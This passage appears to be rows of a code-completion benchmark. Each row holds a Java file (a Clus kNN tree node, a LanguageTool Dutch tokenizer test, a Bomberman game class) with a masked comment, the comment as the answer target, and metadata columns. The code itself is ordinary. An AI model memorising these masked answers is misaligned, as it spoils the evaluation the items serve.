java.util.Vector; //import jeans.util.MyArray; import jeans.tree.MyNode; /** * This class represents a node of an extended decision tree. * It uses kNN to predict the class of a tuple when in a leaf node */ public class KNNTree extends ClusNode { public final static long serialVersionUID = Settings.SERIAL_VERSION_ID; public ClusStatManager m_SMgr; private VectorDistance $vectDist;//used for calculating distances in leafs private Vector $decisionData;//Tuples that are used in this node of the tree to decide target values. public KNNTree(ClusRun clRun,VectorDistance vDist){ super(); m_SMgr = clRun.getStatManager(); $vectDist = vDist; //initialize decision data $decisionData = new Vector(1,10); } public KNNTree(KNNTree toClone){ super(); m_SMgr = toClone.m_SMgr; m_Test = toClone.m_Test; m_ClusteringStat = toClone.m_ClusteringStat; $vectDist = toClone.getVectorDistance(); $decisionData = new Vector(1,10); } public final ClusStatistic predictWeighted(DataTuple tuple) { if (atBottomLevel()) { //return getTotalStat(); return predictLeaf(tuple,getDecisionData()); } else { int n_idx = m_Test.predictWeighted(tuple); if (n_idx != -1) { ClusNode info = (ClusNode)getChild(n_idx); return info.predictWeighted(tuple); } else { int nb_c = getNbChildren(); ClusStatistic stat = m_ClusteringStat.cloneSimple(); for (int i = 0; i < nb_c; i++) { ClusNode node = (ClusNode)getChild(i); ClusStatistic nodes = node.predictWeighted(tuple); stat.addPrediction(nodes, m_Test.getProportion(i)); } return stat; } } } // Preforms kNN in a leafnode with given data to decide private ClusStatistic predictLeaf(DataTuple tuple,Vector dec_data){ if (tuple == null) System.err.println("tuple == null"); if (dec_data == null) System.err.println("dec_data == null"); ClusStatistic stat = m_SMgr.createClusteringStat(); //find out how much neighbours necessary (via settings) int amountNBS = Settings.kNNT_k.getValue(); //find out if Distance-Weighted kNN used boolean distWeighted = Settings.kNNT_distWeighted.getValue(); //make a priorityqueue of size amountNBS to find nearest neighbours //but when fewer elements for prediction then amountNBS then use only those if (amountDecisionData(dec_data)<amountNBS) amountNBS = amountDecisionData(dec_data); PriorityQueue q = new PriorityQueue(amountNBS); //Manier vinden om aan de datatuples te raken die bij dit blad horen int nbr = amountDecisionData(dec_data); DataTuple curTup; double dist; //find the nearest neighbours for (int i = 0; i <nbr;i++){ //System.out.print(i); curTup = getTuple(dec_data,i); if (curTup == null) System.out.println("curTup == null"); dist = calcDistance(tuple,curTup); q.addElement(curTup,dist); } //add the kNN's to the statistic //weights all the same for now: changed when needed double weight = 1.0; for (int i=0;i<amountNBS;i++){ //Change weights when distance-weighted kNN is wanted if (distWeighted) weight = 1.0 / Math.pow(q.getValue(i),2); stat.updateWeighted((DataTuple)q.getElement(i),weight); } stat.calcMean(); return stat; } /** * This method transforms an ordinary ClusNode tree into a KNNTree. */ public static KNNTree makeTree(ClusRun cr ,ClusNode source,VectorDistance vd){ KNNTree node = new KNNTree(cr,vd); node.m_Test = source.m_Test; node.m_ClusteringStat = source.m_ClusteringStat; int arity = source.getNbChildren(); node.setNbChildren(arity); for (int i = 0; i < arity; i++) { ClusNode child = (ClusNode) source.getChild(i); node.setChild(KNNTree.makeTree(cr,child,vd), i); } return node; } /** * Adds given DataTuple to the DataTuples used for prediction in this node. */ public void addTuple(DataTuple t){ //if (atBottom()) { ??? misschien voor zorgen dat het echt alleen werkt als in leaf? $decisionData.addElement(t); //} } /** * Returns the i'th DataTuple in the given decision data. * * Required * i < amountDecisionData(dec_data) */ public DataTuple getTuple(Vector dec_data,int i){ //if (atBottomLevel()) return (DataTuple) dec_data.elementAt(i); //else return null; } /** * Returns the amount of DataTuples available for decision making. */ public int amountDecisionData(Vector dec_data){ return dec_data.size(); } // Calculates distance between 2 tuples private double calcDistance(DataTuple t1,DataTuple t2){ if ($vectDist == null) System.out.println("$vectDist == null"); return $vectDist.getDistance(t1,t2); } /* * Returns a vector containing all decision data for this node, * when not a leaf it returns the concatenated vector of all decisiondata * from it's children. */ public Vector getDecisionData(){ if (atBottomLevel()) return $decisionData; else { Vector dec_data = new Vector(5,5); KNNTree child; int arity = getNbChildren(); for (int i = 0; i < arity; i++) { child = (KNNTree) getChild(i); dec_data.addAll(child.getDecisionData()); } return dec_data; } } /** * Sets teh decisiondata to given data. * Required * dec_data may only contain DataTuple objects !!!! */ public void setDecisionData(Vector dec_data){ $decisionData = dec_data; } public VectorDistance getVectorDistance(){ return $vectDist; } /** * This method makes the current node in the tree a leaf, thereby deleting * it's children and adding there training examples to there own. */ public void makeLeaf(){ if (!atBottomLevel()){ //get decisiondata from children and make it own; $decisionData = getDecisionData(); m_Test = null; cleanup(); //remove the children removeAllChildren(); } } /** * Returns the value for the given tuple based on neirest neighbour but * using the decision data from whole the subtree. * (thus also usable for internal nodes) */ public ClusStatistic predictWeightedLeaf(DataTuple tuple) { //if (tuple == null) System.err.println("tuple == null"); return predictLeaf(tuple,getDecisionData()); } /** * Returns a clone of this node * required * this is a leafnode : atBottomLevel() == True */ public MyNode cloneNode() { KNNTree clone = new KNNTree(this); if (atBottomLevel()) clone.setDecisionData(getDecisionData()); return clone; } }
janezkranjc/clus
clus/algo/kNN/KNNTree.java
2,544
//if (atBottom()) { ??? misschien voor zorgen dat het echt alleen werkt als in leaf?
line_comment
nl
/************************************************************************* * Clus - Software for Predictive Clustering * * Copyright (C) 2007 * * Katholieke Universiteit Leuven, Leuven, Belgium * * Jozef Stefan Institute, Ljubljana, Slovenia * * * * This program is free software: you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation, either version 3 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program. If not, see <http://www.gnu.org/licenses/>. * * * * Contact information: <http://www.cs.kuleuven.be/~dtai/clus/>. * *************************************************************************/ package clus.algo.kNN; import clus.main.*; import clus.algo.tdidt.ClusNode; import clus.data.rows.*; import clus.statistic.ClusStatistic; import java.util.Vector; //import jeans.util.MyArray; import jeans.tree.MyNode; /** * This class represents a node of an extended decision tree. * It uses kNN to predict the class of a tuple when in a leaf node */ public class KNNTree extends ClusNode { public final static long serialVersionUID = Settings.SERIAL_VERSION_ID; public ClusStatManager m_SMgr; private VectorDistance $vectDist;//used for calculating distances in leafs private Vector $decisionData;//Tuples that are used in this node of the tree to decide target values. public KNNTree(ClusRun clRun,VectorDistance vDist){ super(); m_SMgr = clRun.getStatManager(); $vectDist = vDist; //initialize decision data $decisionData = new Vector(1,10); } public KNNTree(KNNTree toClone){ super(); m_SMgr = toClone.m_SMgr; m_Test = toClone.m_Test; m_ClusteringStat = toClone.m_ClusteringStat; $vectDist = toClone.getVectorDistance(); $decisionData = new Vector(1,10); } public final ClusStatistic predictWeighted(DataTuple tuple) { if (atBottomLevel()) { //return getTotalStat(); return predictLeaf(tuple,getDecisionData()); } else { int n_idx = m_Test.predictWeighted(tuple); if (n_idx != -1) { ClusNode info = (ClusNode)getChild(n_idx); return info.predictWeighted(tuple); } else { int nb_c = getNbChildren(); ClusStatistic stat = m_ClusteringStat.cloneSimple(); for (int i = 0; i < nb_c; i++) { ClusNode node = (ClusNode)getChild(i); ClusStatistic nodes = node.predictWeighted(tuple); stat.addPrediction(nodes, m_Test.getProportion(i)); } return stat; } } } // Preforms kNN in a leafnode with given data to decide private ClusStatistic predictLeaf(DataTuple tuple,Vector dec_data){ if (tuple == null) System.err.println("tuple == null"); if (dec_data == null) System.err.println("dec_data == null"); ClusStatistic stat = m_SMgr.createClusteringStat(); //find out how much neighbours necessary (via settings) int amountNBS = Settings.kNNT_k.getValue(); //find out if Distance-Weighted kNN used boolean distWeighted = Settings.kNNT_distWeighted.getValue(); //make a priorityqueue of size amountNBS to find nearest neighbours //but when fewer elements for prediction then amountNBS then use only those if (amountDecisionData(dec_data)<amountNBS) amountNBS = amountDecisionData(dec_data); PriorityQueue q = new PriorityQueue(amountNBS); //Manier vinden om aan de datatuples te raken die bij dit blad horen int nbr = amountDecisionData(dec_data); DataTuple curTup; double dist; //find the nearest neighbours for (int i = 0; i <nbr;i++){ //System.out.print(i); curTup = getTuple(dec_data,i); if (curTup == null) System.out.println("curTup == null"); dist = calcDistance(tuple,curTup); q.addElement(curTup,dist); } //add the kNN's to the statistic //weights all the same for now: changed when needed double weight = 1.0; for (int i=0;i<amountNBS;i++){ //Change weights when distance-weighted kNN is wanted if (distWeighted) weight = 1.0 / Math.pow(q.getValue(i),2); stat.updateWeighted((DataTuple)q.getElement(i),weight); } stat.calcMean(); return stat; } /** * This method transforms an ordinary ClusNode tree into a KNNTree. */ public static KNNTree makeTree(ClusRun cr ,ClusNode source,VectorDistance vd){ KNNTree node = new KNNTree(cr,vd); node.m_Test = source.m_Test; node.m_ClusteringStat = source.m_ClusteringStat; int arity = source.getNbChildren(); node.setNbChildren(arity); for (int i = 0; i < arity; i++) { ClusNode child = (ClusNode) source.getChild(i); node.setChild(KNNTree.makeTree(cr,child,vd), i); } return node; } /** * Adds given DataTuple to the DataTuples used for prediction in this node. */ public void addTuple(DataTuple t){ //if (atBottom())<SUF> $decisionData.addElement(t); //} } /** * Returns the i'th DataTuple in the given decision data. * * Required * i < amountDecisionData(dec_data) */ public DataTuple getTuple(Vector dec_data,int i){ //if (atBottomLevel()) return (DataTuple) dec_data.elementAt(i); //else return null; } /** * Returns the amount of DataTuples available for decision making. */ public int amountDecisionData(Vector dec_data){ return dec_data.size(); } // Calculates distance between 2 tuples private double calcDistance(DataTuple t1,DataTuple t2){ if ($vectDist == null) System.out.println("$vectDist == null"); return $vectDist.getDistance(t1,t2); } /* * Returns a vector containing all decision data for this node, * when not a leaf it returns the concatenated vector of all decisiondata * from it's children. */ public Vector getDecisionData(){ if (atBottomLevel()) return $decisionData; else { Vector dec_data = new Vector(5,5); KNNTree child; int arity = getNbChildren(); for (int i = 0; i < arity; i++) { child = (KNNTree) getChild(i); dec_data.addAll(child.getDecisionData()); } return dec_data; } } /** * Sets teh decisiondata to given data. * Required * dec_data may only contain DataTuple objects !!!! */ public void setDecisionData(Vector dec_data){ $decisionData = dec_data; } public VectorDistance getVectorDistance(){ return $vectDist; } /** * This method makes the current node in the tree a leaf, thereby deleting * it's children and adding there training examples to there own. */ public void makeLeaf(){ if (!atBottomLevel()){ //get decisiondata from children and make it own; $decisionData = getDecisionData(); m_Test = null; cleanup(); //remove the children removeAllChildren(); } } /** * Returns the value for the given tuple based on neirest neighbour but * using the decision data from whole the subtree. * (thus also usable for internal nodes) */ public ClusStatistic predictWeightedLeaf(DataTuple tuple) { //if (tuple == null) System.err.println("tuple == null"); return predictLeaf(tuple,getDecisionData()); } /** * Returns a clone of this node * required * this is a leafnode : atBottomLevel() == True */ public MyNode cloneNode() { KNNTree clone = new KNNTree(this); if (atBottomLevel()) clone.setDecisionData(getDecisionData()); return clone; } }
True
2,024
24
2,331
27
2,328
20
2,331
27
2,761
27
false
false
false
false
false
true
3,430
35221_4
/* LanguageTool, a natural language style checker * Copyright (C) 2006 Daniel Naber (http://www.danielnaber.de) * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 * USA */ package org.languagetool.tokenizers.nl; import org.junit.Test; import org.languagetool.TestTools; import org.languagetool.language.Dutch; import org.languagetool.tokenizers.SRXSentenceTokenizer; /** * @author Daniel Naber * @author Adapted by R. Baars for Dutch * @author Pander OpenTaal added examples from Wikipedia and Taaladvies */ public class DutchSRXSentenceTokenizerTest { private final SRXSentenceTokenizer stokenizer = new SRXSentenceTokenizer(new Dutch()); @Test public void testTokenize() { // NOTE: sentences here need to end with a space character so they // have correct whitespace when appended: testSplit("Dit is een zin."); testSplit("Dit is een zin. ", "Nog een."); testSplit("Een zin! ", "Nog een."); testSplit("‘Dat meen je niet!’ kirde Mandy."); testSplit("Een zin... ", "Nog een."); testSplit("'En nu.. daden!' aan premier Mark Rutte."); testSplit("Op http://www.test.de vind je een website."); testSplit("De brief is op 3-10 gedateerd."); testSplit("De brief is op 31-1 gedateerd."); testSplit("De brief is op 3-10-2000 gedateerd."); testSplit("Vandaag is het 13-12-2004."); testSplit("Op 24.09 begint het."); testSplit("Om 17:00 begint het."); testSplit("In paragraaf 3.9.1 is dat beschreven."); testSplit("Januari jl. is dat vastgelegd."); testSplit("Appel en pruimen enz. werden gekocht."); testSplit("De afkorting n.v.t. betekent niet van toepassing."); testSplit("Bla et al. blah blah."); testSplit("Dat is,, of het is bla."); testSplit("Dat is het.. ", "Zo gaat het verder."); testSplit("Dit hier is een(!) zin."); testSplit("Dit hier is een(!!) zin."); testSplit("Dit hier is een(?) zin."); testSplit("Dit hier is een(???) zin."); testSplit("Dit hier is een(???) zin."); testSplit("Als voetballer wordt hij nooit een prof. ", "Maar prof. N.A.W. Th.Ch. Janssen wordt dat wel."); // TODO, zin na dubbele punt testSplit("Dat was het: helemaal niets."); testSplit("Dat was het: het is een nieuwe zin."); // https://nl.wikipedia.org/wiki/Aanhalingsteken testSplit("Jan zei: \"Hallo.\""); testSplit("Jan zei: “Hallo.”"); testSplit("„Hallo,” zei Jan, „waar ga je naartoe?”"); testSplit("„Gisteren”, zei Jan, „was het veel beter weer.”"); testSplit("Jan zei: „Annette zei ‚Hallo’.”"); testSplit("Jan zei: “Annette zei ‘Hallo’.”"); testSplit("Jan zei: «Annette zei ‹Hallo›.»"); testSplit("Wegens zijn „ziekte” hoefde hij niet te werken."); testSplit("de letter „a”"); testSplit("het woord „beta” is afkomstig van ..."); // http://taaladvies.net/taal/advies/vraag/11 testSplit("De voorzitter zei: 'Ik zie hier geen been in.'"); testSplit("De voorzitter zei: \"Ik zie hier geen been in.\""); testSplit("De koning zei: \"Ik herinner me nog dat iemand 'Vive la république' riep tijdens mijn eedaflegging.\""); testSplit("De koning zei: 'Ik herinner me nog dat iemand \"Vive la république\" riep tijdens mijn eedaflegging.'"); testSplit("De koning zei: 'Ik herinner me nog dat iemand 'Vive la république' riep tijdens mijn eedaflegging.'"); testSplit("Otto dacht: wat een nare verhalen hoor je toch tegenwoordig."); // http://taaladvies.net/taal/advies/vraag/871 testSplit("'Ik vrees', zei Rob, 'dat de brug zal instorten.'"); testSplit("'Ieder land', aldus minister Powell, 'moet rekenschap afleggen over de wijze waarop het zijn burgers behandelt.'"); testSplit("'Zeg Rob,' vroeg Jolanda, 'denk jij dat de brug zal instorten?'"); testSplit("'Deze man heeft er niets mee te maken,' aldus korpschef Jan de Vries, 'maar hij heeft momenteel geen leven.'"); testSplit("'Ik vrees,' zei Rob, 'dat de brug zal instorten.'"); testSplit("'Ieder land,' aldus minister Powell, 'moet rekenschap afleggen over de wijze waarop het zijn burgers behandelt.'"); testSplit("'Zeg Rob,' vroeg Jolanda, 'denk jij dat de brug zal instorten?'"); testSplit("'Deze man heeft er niets mee te maken,' aldus korpschef Jan de Vries, 'maar hij heeft momenteel geen leven.'"); // http://taaladvies.net/taal/advies/vraag/872 testSplit("Zij antwoordde: 'Ik denk niet dat ik nog langer met je om wil gaan.'"); testSplit("Zij fluisterde iets van 'eeuwig trouw' en 'altijd blijven houden van'."); testSplit("'Heb je dat boek al gelezen?', vroeg hij."); testSplit("De auteur vermeldt: 'Deze opvatting van het vorstendom heeft lang doorgewerkt.'"); // http://taaladvies.net/taal/advies/vraag/1557 testSplit("'Gaat u zitten', zei zij. ", "'De dokter komt zo.'"); testSplit("'Mijn broer woont ook in Den Haag', vertelde ze. ", "'Hij woont al een paar jaar samen.'"); testSplit("'Je bent grappig', zei ze. ", "'Echt, ik vind je grappig.'"); testSplit("'Is Jan thuis?', vroeg Piet. ", "'Ik wil hem wat vragen.'"); testSplit("'Ik denk er niet over!', riep ze. ", "'Dat gaat echt te ver, hoor!'"); testSplit("'Ik vermoed', zei Piet, 'dat Jan al wel thuis is.'"); testSplit("Het is een .Net programma. ", "Of een .NEt programma."); testSplit("Het is een .Net-programma. ", "Of een .NEt-programma."); } private void testSplit(String... sentences) { TestTools.testSplit(sentences, stokenizer); } }
languagetool-language-server/languagetool
languagetool-language-modules/nl/src/test/java/org/languagetool/tokenizers/nl/DutchSRXSentenceTokenizerTest.java
2,004
//www.test.de vind je een website.");
line_comment
nl
/* LanguageTool, a natural language style checker * Copyright (C) 2006 Daniel Naber (http://www.danielnaber.de) * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 * USA */ package org.languagetool.tokenizers.nl; import org.junit.Test; import org.languagetool.TestTools; import org.languagetool.language.Dutch; import org.languagetool.tokenizers.SRXSentenceTokenizer; /** * @author Daniel Naber * @author Adapted by R. Baars for Dutch * @author Pander OpenTaal added examples from Wikipedia and Taaladvies */ public class DutchSRXSentenceTokenizerTest { private final SRXSentenceTokenizer stokenizer = new SRXSentenceTokenizer(new Dutch()); @Test public void testTokenize() { // NOTE: sentences here need to end with a space character so they // have correct whitespace when appended: testSplit("Dit is een zin."); testSplit("Dit is een zin. ", "Nog een."); testSplit("Een zin! ", "Nog een."); testSplit("‘Dat meen je niet!’ kirde Mandy."); testSplit("Een zin... ", "Nog een."); testSplit("'En nu.. daden!' aan premier Mark Rutte."); testSplit("Op http://www.test.de vind<SUF> testSplit("De brief is op 3-10 gedateerd."); testSplit("De brief is op 31-1 gedateerd."); testSplit("De brief is op 3-10-2000 gedateerd."); testSplit("Vandaag is het 13-12-2004."); testSplit("Op 24.09 begint het."); testSplit("Om 17:00 begint het."); testSplit("In paragraaf 3.9.1 is dat beschreven."); testSplit("Januari jl. is dat vastgelegd."); testSplit("Appel en pruimen enz. werden gekocht."); testSplit("De afkorting n.v.t. betekent niet van toepassing."); testSplit("Bla et al. blah blah."); testSplit("Dat is,, of het is bla."); testSplit("Dat is het.. ", "Zo gaat het verder."); testSplit("Dit hier is een(!) zin."); testSplit("Dit hier is een(!!) zin."); testSplit("Dit hier is een(?) zin."); testSplit("Dit hier is een(???) zin."); testSplit("Dit hier is een(???) zin."); testSplit("Als voetballer wordt hij nooit een prof. ", "Maar prof. N.A.W. Th.Ch. Janssen wordt dat wel."); // TODO, zin na dubbele punt testSplit("Dat was het: helemaal niets."); testSplit("Dat was het: het is een nieuwe zin."); // https://nl.wikipedia.org/wiki/Aanhalingsteken testSplit("Jan zei: \"Hallo.\""); testSplit("Jan zei: “Hallo.”"); testSplit("„Hallo,” zei Jan, „waar ga je naartoe?”"); testSplit("„Gisteren”, zei Jan, „was het veel beter weer.”"); testSplit("Jan zei: „Annette zei ‚Hallo’.”"); testSplit("Jan zei: “Annette zei ‘Hallo’.”"); testSplit("Jan zei: «Annette zei ‹Hallo›.»"); testSplit("Wegens zijn „ziekte” hoefde hij niet te werken."); testSplit("de letter „a”"); testSplit("het woord „beta” is afkomstig van ..."); // http://taaladvies.net/taal/advies/vraag/11 testSplit("De voorzitter zei: 'Ik zie hier geen been in.'"); testSplit("De voorzitter zei: \"Ik zie hier geen been in.\""); testSplit("De koning zei: \"Ik herinner me nog dat iemand 'Vive la république' riep tijdens mijn eedaflegging.\""); testSplit("De koning zei: 'Ik herinner me nog dat iemand \"Vive la république\" riep tijdens mijn eedaflegging.'"); testSplit("De koning zei: 'Ik herinner me nog dat iemand 'Vive la république' riep tijdens mijn eedaflegging.'"); testSplit("Otto dacht: wat een nare verhalen hoor je toch tegenwoordig."); // http://taaladvies.net/taal/advies/vraag/871 testSplit("'Ik vrees', zei Rob, 'dat de brug zal instorten.'"); testSplit("'Ieder land', aldus minister Powell, 'moet rekenschap afleggen over de wijze waarop het zijn burgers behandelt.'"); testSplit("'Zeg Rob,' vroeg Jolanda, 'denk jij dat de brug zal instorten?'"); testSplit("'Deze man heeft er niets mee te maken,' aldus korpschef Jan de Vries, 'maar hij heeft momenteel geen leven.'"); testSplit("'Ik vrees,' zei Rob, 'dat de brug zal instorten.'"); testSplit("'Ieder land,' aldus minister Powell, 'moet rekenschap afleggen over de wijze waarop het zijn burgers behandelt.'"); testSplit("'Zeg Rob,' vroeg Jolanda, 'denk jij dat de brug zal instorten?'"); testSplit("'Deze man heeft er niets mee te maken,' aldus korpschef Jan de Vries, 'maar hij heeft momenteel geen leven.'"); // http://taaladvies.net/taal/advies/vraag/872 testSplit("Zij antwoordde: 'Ik denk niet dat ik nog langer met je om wil gaan.'"); testSplit("Zij fluisterde iets van 'eeuwig trouw' en 'altijd blijven houden van'."); testSplit("'Heb je dat boek al gelezen?', vroeg hij."); testSplit("De auteur vermeldt: 'Deze opvatting van het vorstendom heeft lang doorgewerkt.'"); // http://taaladvies.net/taal/advies/vraag/1557 testSplit("'Gaat u zitten', zei zij. ", "'De dokter komt zo.'"); testSplit("'Mijn broer woont ook in Den Haag', vertelde ze. ", "'Hij woont al een paar jaar samen.'"); testSplit("'Je bent grappig', zei ze. ", "'Echt, ik vind je grappig.'"); testSplit("'Is Jan thuis?', vroeg Piet. ", "'Ik wil hem wat vragen.'"); testSplit("'Ik denk er niet over!', riep ze. ", "'Dat gaat echt te ver, hoor!'"); testSplit("'Ik vermoed', zei Piet, 'dat Jan al wel thuis is.'"); testSplit("Het is een .Net programma. ", "Of een .NEt programma."); testSplit("Het is een .Net-programma. ", "Of een .NEt-programma."); } private void testSplit(String... sentences) { TestTools.testSplit(sentences, stokenizer); } }
False
1,881
9
2,061
12
1,778
11
2,061
12
2,165
12
false
false
false
false
false
true
4,389
53784_20
package de.tu_darmstadt.gdi1.bomberman.game; import java.util.ArrayList; import java.util.List; import java.util.Timer; import java.util.TimerTask; import java.util.logging.Logger; import de.tu_darmstadt.gdi1.bomberman.BombermanController; import de.tu_darmstadt.gdi1.bomberman.game.elements.Bomb; import de.tu_darmstadt.gdi1.bomberman.game.elements.Explosion; import de.tu_darmstadt.gdi1.bomberman.game.elements.GameElement; import de.tu_darmstadt.gdi1.bomberman.game.elements.Player; import de.tu_darmstadt.gdi1.bomberman.game.levels.BombermanGameData; import de.tu_darmstadt.gdi1.bomberman.gui.ControllerInputEvent; import de.tu_darmstadt.gdi1.bomberman.gui.UIEvent; import de.tu_darmstadt.gdi1.framework.interfaces.IBoard; import de.tu_darmstadt.gdi1.framework.utils.Point; /** * Das eigentliche Bomberman Spiel. Diese Klasse enthält die Spiellogik. Unsere Implementierung des * IBombermanGame Interfaces. Das Interface normiert die Game Klasse gegenüber dem Testadapter, so * dass andere Implementierungen potentiell unseren Test Adapter verwenden könnten. * * WICHTIG WICHTIG: diese Klasse hat keinen State! Sie weiß nichts über das Spiel selbst. Für alles * muss sie die gameData Instanz fragen. */ public class BombermanGame implements IBombermanGame { protected BombermanGameData gameData; protected BombermanController controller; Logger logger = Logger.getLogger(BombermanGame.class.getName()); public static long tickRate = 50; protected Timer tickTimer; protected long tickCounter = 0; private long timeInSeconds = 0; public BombermanGame (BombermanGameData data, BombermanController ctr) { gameData = data; controller = ctr; //say hello to the gui, show the loaded level: sendEventToUI(UIEvent.type.NEW_GAME); } public long getTimeInSeconds () { return timeInSeconds; } public BombermanGameData getBombermanGameData(){ return gameData; } public void setGameData (BombermanGameData gameData) { this.gameData = gameData; } // Ticking ///////////////////////////////////////////////////////////////////////////////////// /** * Diese Funktion wird für jedes "Frame" aufgerufen. Per "initialiseTickTimer" Funktion kann * dies zeitgesteuert ausgeführt und gestartet werden. Die Testfälle führen die tick() Funktion * aber schneller aus, um zeitabhängige Tests direkt durcharbeiten zu können. * * Im "Echtzeitmodus" per Timer kommt der tick 20x in der Sekunde - 20 Ticks sind also eine Sekunde. */ @Override public void tick () { tickCounter++; // Keep on moving players that move due to pressed buttons continueMoving(); // Keep on countdowning and exploding bombs continueBombs(); // Keep on showing crazy pyro explosions continueExplosions(); //Time goes on gameTime(); // Redraw what became dirty this.controller.redrawDirtyPoints(); } public long getTickCount () { return tickCounter; } public void setTickCounter (long tickCounter) { this.tickCounter = tickCounter; } /** * Startet einen Timer, der die tick() Funktion alle tickRate Millisekunden ausführt. */ public void initialiseTickTimer () { if (tickTimer != null) return; // TickTimer anschmeißen. Hail to the closure: die run() Methode in der anonymen TimerTask // Klasse kennt die tick() Funktion des BombermanGame Objekts. tickTimer = new Timer(); tickTimer.scheduleAtFixedRate(new TimerTask(){ @Override public void run() { tick(); } }, tickRate, tickRate); } /** * Stoppt den mit initialiseTickTimer gestarteten Timer wieder. */ public void disposeTickTimer () { tickTimer.cancel(); tickTimer = null; } public void pauseTickTimer () { System.out.println("Pausing game..."); tickTimer.cancel(); } public void continueTickTimer () { System.out.println("Continuing game..."); tickTimer = null; initialiseTickTimer(); } // Gamedata Getter/Setter ////////////////////////////////////////////////////////////////////// /** * Gibt das aktuelle Spielfeld IBoard zurück. */ @Override public IBoard<GameElement> getBoard() { return this.gameData.getStepManager().getCurrentBoard(); } // Player movement ///////////////////////////////////////////////////////////////////////////// public void startPlayerMove (int playerIdx, Player.direction dir) { Player pl = gameData.getPlayer(playerIdx); if (pl != null) { Point from = pl.getPoint(); pl.setDirection(dir); if (pl.move(tickCounter)) { this.controller.addDirtyPoint(from); this.controller.addDirtyPoint(pl.getPoint()); this.controller.redrawDirtyPoints(); } } } public void stopPlayerMove (int playerIdx, Player.direction dir) { Player pl = gameData.getPlayer(playerIdx); if (pl != null && pl.getDirection() == dir) { pl.setDirection(Player.direction.NULL); } } public void continueMoving () { // Make each player move if he needs to for (Player pl : gameData.getPlayers()) { Point from = pl.getPoint(); if (pl.move(tickCounter)) { this.controller.addDirtyPoint(from); this.controller.addDirtyPoint(pl.getPoint()); } } } // Bombing ///////////////////////////////////////////////////////////////////////////////////// public void dropBomb (int playerIdx) { Player pl = gameData.getPlayer(playerIdx); if (pl != null) { Bomb b = pl.dropBomb(); if (b != null) { gameData.addBomb(b); this.controller.addDirtyPoint(pl.getPoint()); this.controller.redrawDirtyPoints(); } } } public void continueBombs () { for (int i = 0; i < gameData.getBombs().size(); i++) { Bomb bomb = gameData.getBombs().get(i); if (bomb.getTicksTillExplode() == 0) { // Make the bomb explode and get the resulting explosion fields ArrayList<Explosion> explosions = bomb.explode(tickCounter); // Make sure all the explosion fields are drawn for (Explosion ex : explosions) { this.controller.addDirtyPoint(ex.getPoint()); } // Make the gameData know about the explosions gameData.addExplosions(explosions); i--; } else { // Tick tack bomb.decreaseBombTicks(); // Give the bomb a chance to be redrawn before it explodes. Might be used for // animations. if (bomb.isDirty()) this.controller.addDirtyPoint(bomb.getPoint()); } } } // Explosions ////////////////////////////////////////////////////////////////////////////////// public void continueExplosions () { for (int i = 0; i < gameData.getExplosions().size(); i++) { Explosion ex = (Explosion) gameData.getExplosions().get(i); if (ex.remove(tickCounter)) { this.controller.addDirtyPoint(ex.getPoint()); i--; } } } // Event Management //////////////////////////////////////////////////////////////////////////// /** * Versendet ein Event an das User Interface. Der Controller wird als Zwischenhändler verwendet, * da sich Game Object und GUI besser nicht direkt kennen dürfen. * @param type */ private void sendEventToUI(UIEvent.type type) { UIEvent event = new UIEvent(type); event.setBoard(getBoard()); controller.sendEventToUI(event); } /** * Verarbeitet ein Input Event. * @param event */ public void handleInputEvent(ControllerInputEvent event) throws Exception { if (event.getButton() == ControllerInputEvent.button.NULL) return; // Either place a bomb or move around. if (event.getButton() == ControllerInputEvent.button.BOMB) { this.dropBomb(event.getPlayerIndex()); } else if (event.getButton() == ControllerInputEvent.button.MAIN_MENU) { pauseTickTimer(); sendEventToUI(UIEvent.type.MAIN_MENU); } else if (event.getButton() == ControllerInputEvent.button.X_BUTTON) { List<GameElement> list = gameData.getPlayer(1).mightyBlow(); for (GameElement gE : list) { controller.addDirtyPoint(gE.getPoint()); } controller.redrawDirtyPoints(); } else { // We know that it has to be a direction - map the direction from the ControllerInputEvent // to the Players directions (die Wege der losen Kopplung sind unergründlich - hässlich) Player.direction dir = Player.direction.NULL; switch (event.getButton()) { case UP: dir = Player.direction.UP; break; case DOWN: dir = Player.direction.DOWN; break; case LEFT: dir = Player.direction.LEFT; break; case RIGHT: dir = Player.direction.RIGHT; break; } if (event.getState() == ControllerInputEvent.state.PRESSED) { this.startPlayerMove(event.getPlayerIndex(), dir); } else { this.stopPlayerMove(event.getPlayerIndex(), dir); } } } public void gameTime (){ long mytime = getTickCount() / (1000 / tickRate); if (mytime != timeInSeconds){ timeInSeconds = mytime; sendEventToUI(UIEvent.type.UPDATE_TIME); if (timeInSeconds >= 300) { gameData.getDelegate().manageSuddenDeath(this.controller); } } } }
steffen-mueller/javagame
src/de/tu_darmstadt/gdi1/bomberman/game/BombermanGame.java
2,933
// Event Management ////////////////////////////////////////////////////////////////////////////
line_comment
nl
